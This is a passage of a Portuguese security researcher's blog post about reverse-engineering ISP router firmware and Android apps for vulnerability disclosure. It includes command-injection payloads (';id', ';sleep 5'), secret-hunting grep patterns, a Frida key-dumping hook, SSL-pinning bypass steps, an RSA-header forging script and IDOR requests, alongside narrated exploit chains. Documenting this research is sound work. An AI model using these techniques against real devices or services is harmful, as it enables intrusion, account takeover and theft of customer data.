grep -rlE 'BEGIN (RSA |EC |OPENSSH )?PRIVATE KEY' .
grep -rnE 'passwd|secret|hardcode' etc/ 2&gt;/dev/null
</code></pre>
<p>Esses três greps já me deram vulnerabilidade explorável em mais de um projeto. Não estou brincando. Eu já abri firmware de equipamento que custa milhares de reais e achei chave privada PEM dentro de <code>/etc/</code>, que abre direto com <code>openssl rsa -in chave.pem -noout -text</code>, sem passphrase nenhuma.</p>
<p>O <code>file</code> no passo 1 quase sempre me responde ARM 32-bit ou MIPS, little ou big endian. Isso decide o resto do dia: define qual toolchain de cross-compile eu vou usar se precisar emular, e qual ABI eu vou ter que ter na cabeça lendo assembly. ARM little-endian AAPCS é o caso mais comum em CPE moderno, então é o que eu vou assumir nos exemplos daqui pra frente.</p>
<p>Com o mapa pronto, eu escolho um binário pra atacar. Geralmente é o daemon principal, o processo que atende a interface web e os pedidos de configuração, ou alguma biblioteca que faz coisa interessante. Qualquer <code>.so</code> com <code>auth</code>, <code>crypto</code>, <code>key</code> ou <code>hardcode</code> no nome ganha minha atenção na hora.</p>
<p>Aí entra o radare2. Tem gente que prefere Ghidra, e o decompiler do Ghidra é melhor, sem discussão. Mas o r2 ganha pra mim em três pontos: é leve, tem o <code>r2pipe</code> (que me deixa scriptar análise em Python), e roda em qualquer máquina sem precisar de Java. Em projeto longo eu uso os dois, r2 pra navegar e Ghidra aberto numa outra tela pro pseudo-C. O ponto de partida, porém, é sempre o r2.</p>
<pre><code class="language-plaintext">r2 -A bin/cfgd
</code></pre>
<p>O <code>-A</code> faz a análise automática. Espera os segundos necessários e você tem todas as funções identificadas, os cross-references montados, as strings indexadas. A primeira coisa que eu olho é a tabela de imports. Eu quero saber o que esse binário sabe fazer.</p>
<pre><code class="language-plaintext">[0x00000000]&gt; ii~system
ordinal=031 plt=0x00012470 type=FUNC name=system
[0x00000000]&gt; ii~exec
[0x00000000]&gt; ii~popen
[0x00000000]&gt; ii~fork
</code></pre>
<p>Repare que só o primeiro grep retornou linha. O binário importa <code>system()</code>, e não importa nenhuma variante de <code>execv</code>/<code>execl</code>/<code>posix_spawn</code>. Isso já me conta o final da história. Se um binário processa entrada do usuário, dispara processos, e a única rota de execução que ele tem é <code>system()</code>, então tudo passa pelo <code>/bin/sh -c</code>. O shell interpreta <code>;</code>, <code>&amp;&amp;</code>, <code>|</code>, crase, <code>$()</code>. Se a entrada do usuário entrar no comando via <code>snprintf</code> ou <code>strcat</code>, é command injection, ponto.</p>
<h2>O daemon que confia na entrada</h2>
<p>Num caso recente, e aqui eu preciso ser vago porque é o caso em embargo, o daemon principal de um equipamento de rede tinha dois handlers de diagnóstico vizinhos: um pra ping, outro pra traceroute. Mesmo arquivo, mesmo padrão de código, mesmo tipo de entrada.</p>
<p>Achei os dois pelo cross-reference. <code>axt sym.imp.system</code> lista todo lugar que chama <code>system</code>, e dali eu fui pulando de função em função com <code>s</code> e lendo o disassembly com <code>pdf</code>. O handler de ping era assim (offsets e nomes trocados, mas a forma é exata):</p>
<pre><code class="language-plaintext">0x0008e1a0  ldr   r7, [r5, 0x1c]      ; r7 &lt;- host, campo cru do POST
0x0008e1a4  mov   r0, r7
0x0008e1a8  bl    sym.chk_host        ; valida o formato do endereço
0x0008e1ac  cmp   r0, 0
0x0008e1b0  beq   0x8e1ec             ; inválido? pula a montagem do comando
0x0008e1b4  ldr   r2, str.ping_fmt    ; "ping %s -c %u -W %u"
0x0008e1b8  mov   r3, r7
0x0008e1bc  bl    sym.imp.snprintf    ; snprintf(buf, 0x100, fmt, host, ...)
0x0008e1c8  mov   r0, r4              ; r4 = buffer com o comando montado
0x0008e1cc  bl    sym.imp.system
</code></pre>
<p>O handler de traceroute era byte por byte a mesma coisa, com uma diferença. Não tinha o <code>bl sym.chk_host</code> nem o <code>cmp</code>/<code>beq</code> logo depois. A entrada ia direto do campo do POST pro <code>snprintf</code>, e do <code>snprintf</code> pro <code>system</code>, sem passar por validação nenhuma.</p>
<p>Esse contraste é um dos sinais mais confiáveis que eu conheço. Função gêmea onde uma foi corrigida e a outra ficou pra trás significa que alguém da empresa achou o bug, arrumou num lugar, e esqueceu de aplicar a mesma correção no irmão. O <code>chk_host</code> não nasceu por acaso. Ele foi colado ali depois, num commit de segurança, e o cara que escreveu o commit não procurou os outros pontos com o mesmo padrão.</p>
<p>Quando eu acho um candidato desses, eu rastreio o registrador de trás pra frente até a origem. No caso, <code>r7</code>. De onde ele veio? <code>[r5, 0x1c]</code>, um offset de uma struct, e essa struct era a request HTTP parseada. Confirmei seguindo <code>r5</code> algumas funções acima até bater na rotina que faz o parse dos campos do corpo do POST. Entre o parse e o <code>system</code>, zero validação no caminho do traceroute. Exploit confirmado de forma estática.</p>
<p>Eu gosto de fechar essa convicção rodando o handler isolado antes de chegar perto do equipamento de verdade. <code>qemu-arm-static</code> consegue executar o binário ARM na minha máquina x86. Pra um daemon inteiro raramente funciona de primeira, mas pra exercitar uma função específica costuma bastar. Subo com <code>qemu-arm -g 1234 ./cfgd</code>, conecto o <code>gdb-multiarch</code> na porta 1234, ponho um breakpoint no <code>snprintf</code> e mando o request com <code>host=1.1.1.1;id</code>. Quando o breakpoint bate, eu leio a memória do buffer de destino:</p>
<pre><code class="language-plaintext">(gdb) x/s $r0
0x7efff3a0:  "ping 1.1.1.1;id -c 1 -W 2"
</code></pre>
<p>O comando já está montado, com o meu <code>;id</code> no meio, esperando o <code>system</code>. Não precisei mandar nada pro equipamento real pra saber que vai executar. A confirmação dinâmica final, contra hardware, eu faço depois, e faço com <code>sleep</code>, não com <code>id</code>, mas isso é assunto de outra seção.</p>
<h2>A credencial "encriptada" e a chave que está do lado</h2>
<p>Tem uma classe de bug que eu venho vendo repetidas vezes em firmware de CPE e que merece parágrafo próprio: o cofre de credencial "encriptado".</p>
<p>O padrão é esse. O fabricante sabe que credencial em clear text no firmware é vexame, e talvez algum auditor já tenha apontado isso em algum momento. Então ele cria um arquivo binário em <code>/etc/</code> com as credenciais cifradas em AES-256-CBC. Bonito. Só que, em outro arquivo do mesmo firmware, em clear text, ele deixa a chave mestra usada pra derivar a chave AES. A "derivação" costuma ser uma sequência de operações simples: shift de bytes, concatenação com outra string, um SHA-256 do resultado.</p>
<p>A segurança desse esquema depende da chave mestra estar escondida. Mas ela não está. Está em clear text num arquivo que qualquer um baixa. E o algoritmo de derivação está implementado numa biblioteca compartilhada que também está no firmware e que dá pra reverter.</p>
<p>Num desses, a função de derivação ficava numa <code>.so</code> pequena. O <code>pdf</code> mostrava dois loops e duas chamadas de SHA-256 antes do <code>EVP_DecryptInit_ex</code>. O primeiro loop era assim:</p>
<pre><code class="language-plaintext">0x00000f70  ldrb  r3, [r6, r2]        ; r6 = chave mestra, r2 = índice
0x00000f74  add   r3, r3, 3           ; desloca o byte em +3
0x00000f78  strb  r3, [r1, r2]        ; grava no buffer derivado
0x00000f7c  add   r2, r2, 1
0x00000f80  cmp   r2, 0x20
0x00000f84  bne   0xf70
</code></pre>
<p>Um Caesar de +3 sobre um pedaço de 32 bytes da chave mestra. O segundo loop fazia a mesma coisa com +2 sobre outro pedaço, e logo depois concatenava o resultado com a cauda da string mestra. Cada metade ia pra um <code>SHA256</code>, e os dois digests entravam no <code>EVP_DecryptInit_ex</code>.</p>
<p>Aqui veio a parte que custou tempo, e é a parte que eu queria mostrar. O Ghidra tinha nomeado uma das variáveis locais de <code>iv_local</code> e a outra de <code>key_local</code>, porque mais cedo na função teve um <code>memset</code> que sugeriu esses papéis. Eu reproduzi o algoritmo em Python seguindo esses nomes e o decrypt saiu lixo. Voltei pro disassembly e olhei só o call site do <code>EVP_DecryptInit_ex</code>:</p>
<pre><code class="language-plaintext">0x00001020  mov   r2, r8             ; r8 -&gt; buffer A   (3o arg = KEY)
0x00001024  mov   r3, r9             ; r9 -&gt; buffer B   (4o arg = IV)
0x00001028  bl    sym.imp.EVP_DecryptInit_ex
</code></pre>
<p>O buffer que o decompiler chamou de <code>iv_local</code> era o <code>r8</code>, e <code>r8</code> vai pro terceiro argumento, que é a <strong>chave</strong>. Os nomes mentiram. A posição do argumento não. Quando eu inverti os dois no script, o decrypt saiu limpo na primeira tentativa. Lição que eu carrego: o decompiler te dá uma hipótese, não um fato. Quando a hipótese e o dataflow discordam, o dataflow ganha.</p>
<p>O script final tinha menos de cinquenta linhas de <code>pycryptodome</code> e cuspiu o cofre inteiro em clear text. O padrão se repete. Procura arquivo binário pequeno em <code>/etc/</code> com nome que sugere senha. Procura arquivo de uma linha em clear text do lado. Procura biblioteca com <code>hardcode</code> ou <code>crypto</code> no nome. Quase sempre tem coisa ali.</p>
<h2>O cadeado que abre com a chave que estava junto</h2>
<p>Ainda no mesmo equipamento, o servidor web tinha um mecanismo de "integridade". Todo POST vinha com um header, vou chamar de <code>Check</code>, e o servidor recusava o request se o header não batesse. Parecia anti-CSRF.</p>
<p>Reverti o <code>httpd</code> e segui a função que lia esse header. A lógica, em pseudo-código depois de eu mapear o disassembly, era essa:</p>
<pre><code class="language-plaintext">check_integrity(req):
    if (!g_integrity_on)        return OK
    h = http_header(req, "Check")
    if (!h)                     return FAIL
    raw     = base64_decode(h)
    digest  = rsa_private_decrypt(raw, "/etc/keys/priv.pem", passphrase)
    return memcmp(digest, sha256(req.body), 32) == 0
</code></pre>
<p>O <code>rsa_private_decrypt</code> carregava a chave de <code>/etc/keys/priv.pem</code>, e a passphrase desse PEM era uma das strings que eu já tinha tirado do cofre da seção anterior. Quer dizer: o cliente assina o corpo do request encriptando o <code>sha256(body)</code> com a chave pública, e o servidor "verifica" decriptando com a privada. As duas chaves estão no firmware. As duas são as mesmas em todo equipamento do modelo. Um mecanismo que parece autenticação é só um par de chaves que o atacante também tem.</p>
<p>A confirmação disso é matemática e não precisa de um único request a mais contra o equipamento. Capturei um POST real do navegador, peguei o header <code>Check</code>, e decriptei com a privada que eu extraí:</p>
<pre><code class="language-python">from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
import base64, hashlib

body  = "campo1=valor1&amp;campo2=valor2&amp;token=abc"
check = "&lt;valor capturado do header Check&gt;"

priv = RSA.import_key(open("priv.pem", "rb").read(),
                      passphrase=PASSPHRASE_EXTRAIDA)

decifrado = PKCS1_v1_5.new(priv).decrypt(base64.b64decode(check), None)
esperado  = hashlib.sha256(body.encode()).hexdigest()

assert decifrado.decode() == esperado, "chave nao bate"
print("a chave do firmware e a chave em producao.")
</code></pre>
<p>Bateu. A chave embarcada no firmware é a chave que está rodando em produção, e a partir dela eu forjo o header <code>Check</code> pra qualquer POST que eu quiser mandar contra qualquer equipamento daquele modelo.</p>
<h2>O laboratório antes do equipamento real</h2>
<p>Quando o exploit é de firmware, tem um passo que poupa dor: reconstruir o equipamento dentro de uma máquina virtual antes de chegar perto do hardware de verdade. O FirmAE tenta isso de forma automática, e quando dá certo é ótimo, mas com CPE de operadora eu quase sempre acabo montando o lab na mão.</p>
<p>A receita é direta na ideia e chata na execução. Pego o rootfs que o binwalk extraiu e subo sob <code>qemu-system-arm</code>, com um kernel e um device tree compatíveis com a arquitetura. O daemon web reclama de meia dúzia de coisas que não existem dentro do QEMU: uma partição de configuração, um nó de <code>/dev</code> específico, o chip de NAND. Eu vou stubando cada uma, um arquivo vazio aqui, um symlink ali, um valor fixo retornado de uma syscall acolá, até ele subir e servir a interface. Não é elegante. Funciona.</p>
<p>A parte que muda o jogo é o outro lado. CPE de operadora não vive sozinho. Ele conversa o tempo todo com o backend do operador: servidor de update, ACS de TR-069, às vezes um endpoint de telemetria. No lab eu subo um lado servidor falso, um punhado de processos meus que respondem nesses papéis, com certificado e chave que eu mesmo gerei. O modem emulado passa a achar que está conectado à operadora, e eu fico no meio, com <code>tcpdump</code> gravando cada pacote dos dois sentidos.</p>
<p>Com isso de pé, eu posso ser destrutivo à vontade. Disparo o command injection com <code>rm</code>, com escrita de arquivo, com payload que reinicia o equipamento, e o pior que pode acontecer é eu reiniciar uma VM. Observo o que o exploit faz de verdade, capturo o tráfego que ele gera, comparo com a captura legítima, e só depois, com o comportamento todo mapeado, é que eu levo a versão mínima e não-destrutiva do PoC pro equipamento real. O lab é o que me deixa separar duas coisas que costumam ser tratadas como uma só: entender o bug, e confirmar o bug sem causar dano. São tarefas diferentes, e merecem ambientes diferentes.</p>
<h2>APK: lendo código que mexeram pra não ser lido</h2>
<p>Pra Android, a ferramenta que eu uso o tempo todo é o jadx. O <code>jadx-gui</code> é melhor pra navegação inicial, mas engasga feio em APK grande, então pra app de 100 MB pra cima eu uso a CLI desde o começo.</p>
<pre><code class="language-bash">jadx -d jadx_out app.apk
</code></pre>
<p>Isso reconstrói o código Java a partir do bytecode Dalvik. Não é o código original. Se o app passou por R8 ou ProGuard, os nomes de classe e de variável vêm mangleados. Mas as strings literais sobrevivem, e os cross-references também, e é com isso que se trabalha.</p>
<p>Os greps que eu rodo logo em seguida miram credencial e endpoint:</p>
<pre><code class="language-bash">cd jadx_out/sources
grep -rnE 'AKIA[0-9A-Z]{16}' .                       # AWS Access Keys
grep -rnE 'AIza[0-9A-Za-z_-]{35}' .                  # chaves Google/Firebase
grep -rnE '(eyJ[A-Za-z0-9_-]+\.){2}[A-Za-z0-9_-]+' . # JWTs embarcados
grep -rnoE 'https?://[a-zA-Z0-9./_-]+' . | sort -u   # endpoints
</code></pre>
<p>Num app que eu olhei recentemente, ainda em triagem, o grep de JWT não achou nada, mas o de string genérica caiu numa classe chamada <code>xq2</code>. Classe de uma letra e dois caracteres é assinatura de ProGuard. Abri o smali, porque às vezes o jadx esconde justamente o <code>clinit</code>:</p>
<pre><code class="language-smali">.class public final Lcom/a/b/xq2;
.field public static final p:Ljava/lang/String;

.method static constructor &lt;clinit&gt;()V
    const-string v0, "hs256-chave-de-assinatura-de-exemplo"
    sput-object v0, Lcom/a/b/xq2;-&gt;p:Ljava/lang/String;
.end method
</code></pre>
<p>Um campo estático com uma string de 40 caracteres. Sozinho não diz nada. O que diz é o cross-reference. Quem lê <code>xq2.p</code>? Uma classe que o jadx decompilou mais ou menos assim:</p>
<pre><code class="language-kotlin">val key = Keys.hmacShaKeyFor(xq2.p.toByteArray())
val jwt = Jwts.builder()
    .claims(mapOf("user_id" to user.id, "email" to user.email))
    .expiration(Date(now + 86_400_000))
    .signWith(key, Jwts.SIG.HS256)
    .compact()
chatSdk.setUserJwt(jwt)
</code></pre>
<p>O app assina, no próprio cliente, um JWT que identifica o usuário pra um SDK de chat de suporte. A chave HMAC é a string que está naquele campo estático. Quer dizer que qualquer um que extrai o APK forja um JWT com <code>user_id</code> arbitrário e entra no chat de suporte fazendo-se passar por qualquer cliente. A verificação de identidade do SDK existe pra evitar exatamente isso, mas só funciona se a chave ficar no servidor. Ela não ficou.</p>
<p>Quando o app é ofuscado a ponto de o jadx não dar conta, ou quando a string que eu quero é montada em runtime e nunca aparece como literal, eu paro de ler estático e instrumento. Frida pra isso é difícil de bater. O hook que eu mais uso é genérico, no construtor do <code>SecretKeySpec</code>, e ele me entrega toda chave simétrica que o app usa, não importa de onde ela veio:</p>
<pre><code class="language-js">Java.perform(function () {
  const SKS = Java.use('javax.crypto.spec.SecretKeySpec');
  SKS.$init.overload('[B', 'java.lang.String').implementation =
    function (key, alg) {
      console.log('[SecretKeySpec] alg=' + alg +
                  ' key=' + bytesToHex(key));
      return this.$init(key, alg);
    };
});
</code></pre>
<p>Roda o app, exercita a tela que te interessa, e o terminal do Frida lista cada chave AES no momento em que ela é instanciada, derivada ou não. Pra SSL pinning a ideia é a mesma, só muda o alvo do hook: o <code>okhttp3.CertificatePinner.check</code> ou o <code>checkServerTrusted</code> do <code>X509TrustManager</code>, forçando retorno limpo. Quando o pinning não cai com hook, eu vou de <code>apktool</code>: decompila o APK, edito o <code>network_security_config.xml</code> pra confiar em CA de usuário, recompilo, assino com chave minha, instalo. Vinte minutos.</p>
<h2>Confirmando sem quebrar nada</h2>
<p>Análise estática me diz "isso provavelmente é explorável". Análise dinâmica prova. E o disclosure depende dessa prova.</p>
<p>PoC dinâmico tem que ser não-destrutivo. Nunca modifica dado de terceiro, nunca cria persistência, nunca derruba serviço pra outros usuários. Se a vuln é command injection, eu confirmo com <code>sleep N</code> ou <code>id</code>, jamais com <code>rm</code> ou escrita de arquivo. Se é IDOR, leio um único objeto que claramente não é meu, confirmo, e paro. Não enumero. E eu logo tudo. Data, hora, IP de origem, request exato, response exato. O vendor às vezes contesta no dia do disclosure, e nessa hora eu quero o histórico completo na mão.</p>
<p>Pra command injection, time-based é a forma mais limpa. Manda um payload sem injeção, mede o tempo. Manda com <code>;sleep 5</code>, mede de novo. Se o segundo é uns 5 segundos maior, executou.</p>
<pre><code class="language-python">import requests, time

def bench(host, n=5):
    ts = []
    for _ in range(n):
        t0 = time.time()
        requests.post(URL, data={"Host": host})
        ts.append(time.time() - t0)
    ts.sort()
    return ts[len(ts) // 2]   # mediana, aguenta outlier

base = bench("1.1.1.1")
inj  = bench("1.1.1.1;sleep 5")
print(f"baseline {base:.2f}s, injetado {inj:.2f}s")
</code></pre>
<p>Pra IDOR, o protocolo é simples. Tenho duas contas, A e B. Logado como A, identifico o ID de um objeto que é da B. Logado como A, peço esse objeto. Se vier, IDOR confirmado. Num app que eu olhei, o backend era um <code>.asmx</code> clássico de .NET, e a chamada que carregava o cadastro do cliente recebia o ID dentro de um CDATA:</p>
<pre><code class="language-xml">&lt;GetDadoPessoal&gt;
  &lt;dsXML&gt;&lt;![CDATA[
    &lt;data&gt;&lt;cdCliente&gt;10231&lt;/cdCliente&gt;&lt;/data&gt;
  ]]&gt;&lt;/dsXML&gt;
&lt;/GetDadoPessoal&gt;
</code></pre>
<p>O <code>cdCliente</code> era um sequencial global. Troquei <code>10231</code> por <code>10232</code> e veio o cadastro de outra pessoa, com nome, documento, telefone, endereço. O servidor autenticava o request, mas não checava se a sessão autenticada tinha direito àquele ID específico. Autenticação sem autorização não é autenticação, é roleta.</p>
<p>Vale registrar um detalhe que eu quase deixei passar nesse mesmo alvo. O endpoint respondia 403 quando o <code>User-Agent</code> era <code>okhttp/4.12.0</code>, o default da lib HTTP do Android. Troquei pra <code>Mozilla/5.0</code> e veio 200. O WAF estava filtrando a assinatura de cliente automatizado, não o conteúdo do request. A proteção inteira se resumia a "parece um navegador?". WAF que filtra por User-Agent não filtra nada.</p>
<p>Nem toda confirmação é por request HTTP. Em outro app, a vuln era um push do Firebase mal validado. O serviço de mensagens recebia o push, fazia um <code>sendBroadcast</code>, um <code>BroadcastReceiver</code> exportado pegava, e a partir dali subia um foreground service que ligava o GPS. Eu confirmei lendo o logcat enquanto disparava o push:</p>
<pre><code class="language-plaintext">FirebaseMsg  onMessageReceived data={tipo=corrida, id=...}
LocReceiver  broadcast app.update.pushmessage recebido
ActivityMgr  Background started FGS: LocationService
LocationSvc  requestLocationUpdates PRIORITY_HIGH_ACCURACY 500ms
</code></pre>
<p>O logcat é um tracer que já está ligado. Quatro linhas, e dá pra ver a entrada externa atravessar o app inteiro até acionar um sensor. Pra componente exportado, a mesma ideia vale com <code>adb shell am start</code>. Você dispara a Activity de fora, com a Intent que quiser, e lê no logcat o que ela faz. Se uma Activity exportada aceita um <code>file://</code> na Intent e abre o arquivo, mandar <code>file:///data/data/&lt;pacote&gt;/databases/algo.db</code> e ver no log que ela tentou ler aquele caminho privado é prova suficiente de exposição.</p>
<p>Pra chave RSA extraída de firmware, como mostrei mais atrás, a confirmação é matemática e passiva. Você compara a chave embarcada com uma assinatura capturada do tráfego legítimo, e nem toca no equipamento.</p>
<h2>As ferramentas, e por que essas</h2>
<p>Pra interceptação HTTP eu uso mitmproxy bem mais que Burp. Burp ganha quando eu preciso de uma cadeia interativa longa, modificando request a request no Repeater. Mitmproxy ganha em captura passiva, em scripting (você escreve addon em Python) e em rodar no terminal, sem GUI, de forma persistente em background enquanto eu uso o app normalmente. Quando eu quero olhar request específico, o <code>mitmweb</code> me dá a interface.</p>
<p>Pra emular binário ARM ou MIPS quando o equipamento real não está na mão, <code>qemu-user-static</code> resolve os casos simples, utilitário standalone e função isolada, e o FirmAE tenta o firmware inteiro. FirmAE não é mágica e falha em mais da metade dos firmwares que eu testo, mas quando funciona economiza dias.</p>
<p>O resto da bancada não muda muito de projeto pra projeto. Radare2 com r2pipe e Ghidra pra estática de binário. Binwalk e unblob pra extrair filesystem. Jadx e apktool pro lado Android, mais hermes-dec quando o app é React Native com bundle Hermes. Openssl e pycryptodome pra reproduzir cripto custom. Frida pra hook em runtime. Ffuf quando preciso de fuzzing rápido de parâmetro. A linguagem de cola é Python, com Go raríssimo quando performance importa de verdade. C eu só leio, nunca escrevo.</p>
<h2>Três cadeias</h2>
<p>As CVEs de que eu mais gosto raramente são bug isolado. São cadeias. A vulnerabilidade A sozinha é Medium, a B sozinha é Low, e A mais B é RCE remoto sem autenticação. É o tipo de coisa que mostra que o pesquisador entendeu o sistema, e não só rodou um grep com sorte.</p>
<p>Sei que tem gente que vai discordar. Bug bounty costuma pagar melhor por uma critical isolada do que por uma chain explicada, e tem analista que prefere submeter as vulns separadas pra maximizar payout. Não é errado. Pra disclosure responsável e pra portfólio técnico, a cadeia conta mais. Pra programa de bounty com payout escalonado, talvez não. Vou descrever três, com identificadores trocados, só pra mostrar a forma do raciocínio.</p>
<p><strong>Do APK ao banco de clientes.</strong> App interno de técnico de campo, distribuído publicamente na loja. Baixo, rodo jadx. Numa classe central acho dois métodos curtos que retornam usuário e senha de um Basic Auth da API. Monto o header e bato num endpoint qualquer de health: 200. A credencial está viva em produção. Testo o endpoint de login do app com usuário e senha inventados, e ele responde <code>{"Valido":true}</code>. Testo com strings vazias, mesma resposta. O login do app é teatro. Aí eu chego no que importa: um endpoint que lista os atendimentos de um técnico, recebendo o ID do técnico na URL, e cada atendimento traz nome completo do cliente, documento, endereço, e credencial de rede. Itero o ID de 1 a 1000, sem rate limit, sem detecção de anomalia. Cada passo é uma vuln conhecida, credencial embarcada, autenticação quebrada, IDOR, falta de rate limit. O impacto real só aparece quando você encadeia, e você só encadeia se trata cada resposta como pista pra próxima requisição.</p>
<p><strong>Reset de senha sem autenticação.</strong> App de cliente final, React Native com bundle Hermes. Bytecode Hermes é mais chato que Java, mas decompila com <code>hermes-dec</code>, e a tabela de strings já me entregou a URL base da API. Capturo no mitmproxy o fluxo de "esqueci minha senha" e vejo um POST simples com o documento do usuário no corpo, sem token, sem nonce, sem captcha. Testo com o meu próprio documento e recebo um SMS na hora com senha nova, a antiga invalidada. Testo com um documento aleatório válido e a resposta é diferente de quando o documento não existe, o que transforma o endpoint num oráculo de enumeração. A cadeia completa é enumerar, resetar a senha do alvo, e quem tiver como ler o SMS do alvo toma a conta. Quem não tiver, pelo menos derruba o acesso da vítima. PoC só contra a minha própria conta. Não enumerei terceiros.</p>
<p><strong>Do firmware ao MitM da operadora.</strong> Essa é a que está em embargo, então vai em prosa e sem identificar nada. Modem GPON de fabricante grande, mesmo firmware em milhões de assinantes. Comecei pelo config.bin do meu equipamento, descriptografado, e o XML expôs a URL HTTP do firmware no servidor da operadora, sem TLS e sem autenticação. Binwalk, e o filesystem inteiro estava na minha frente. As seções acima são todas desse caso: o cofre de credencial cifrado com a chave que estava do lado, o par de chaves RSA do "anti-CSRF". Junte a isso uma chave privada de TLS que abre com uma passphrase do cofre, e um certificado servidor que é o mesmo em todo equipamento do modelo. Com posicionamento de rede adequado, dá pra fazer MitM de TLS contra qualquer assinante, porque o navegador da vítima confia no certificado que também é o do roteador dela. Some o command injection do diagnóstico, e a cadeia fecha em shell root no equipamento de qualquer cliente. Cada peça dessa eu achei numa sessão diferente, em semanas diferentes, e foi só montando o quebra-cabeça que a gravidade apareceu. Sai detalhado em julho.</p>
<h2>O tempo, que é o recurso de verdade</h2>
<p>Eu tenho família, trabalho com gestão de vulnerabilidade de dia, e faço pesquisa nessas brechas e nas madrugadas. Tempo de pesquisa compete direto com tempo de família e com sono. Não tem como romantizar isso. O que eu tenho é um workflow apertado, escrito ao longo dos meses na base de descobrir o que funciona.</p>
<p>A primeira sessão, de duas a três horas, é aquisição e mapa do território. Baixar o firmware ou o APK, extrair, rodar os greps iniciais, identificar os pontos quentes. No fim dela eu já tenho uma lista priorizada do que olhar.</p>
<p>As sessões seguintes são análise estática profunda, cada uma focada num binário ou num conjunto de arquivos relacionados. Aqui eu uso o método de "deixa pro próximo". No fim de cada sessão eu escrevo, num <code>notes.md</code>, exatamente onde parei e o que eu ia olhar a seguir. Sem isso eu perderia meia hora no início de cada sessão tentando lembrar o contexto. Esse arquivo foi o meu maior ganho de produtividade dos últimos dois anos, e não é exagero. Quando você só tem noventa minutos por noite, perder trinta deles pra se reorientar é insustentável. Boa parte do trabalho braçal dessa fase, listar componente exportado, marcar o que precisa de confirmação dinâmica, eu hoje deixo num pipeline meu de triagem, que faz a primeira varredura e me entrega o mapa pronto pra eu decidir onde cavar.</p>
<p>As sessões de confirmação dinâmica vêm só depois que eu tenho boa convicção estática. Setup do ambiente, testes mínimos, PoC documentado. A redação do report é uma sessão à parte, porque eu não consigo redigir bem alternando com análise. Boto música, abro o template, escrevo do começo ao fim. O ciclo completo de uma vulnerabilidade não-trivial fica entre 20 e 60 horas pra mim. Cadeia grande passa fácil de 100.</p>
<h2>Onde isso vai</h2>
<p>Tem um caso meu em embargo que vai render bastante quando puder sair, são 9 CVEs reportadas mas apenas 4 o vendor confirmou. Endereços, disassembly, payload, scripts de PoC, e o timeline inteiro do disclosure. É material denso o suficiente pra virar uma série, não só um post, e eu volto aqui pra escrever quando o embargo cair.</p>
<p>Por enquanto, se você está começando agora em engenharia reversa, o conselho é direto. Pega um equipamento que você já tem em casa, o roteador da operadora, uma câmera IP, uma smart TV (quanto 'menor' a marca, melhor). Abre o firmware. Faz os três greps. Você vai achar coisa. Toda vez.</p>
<p>Se quiser trocar ideia sobre algum projeto, ou tem dúvida específica de workflow, me chama no Discord, <code>@privescalation</code>.</p>
<p>Até a próxima =)</p>
<p>t1m3</p>
]]></content:encoded></item></channel></rss>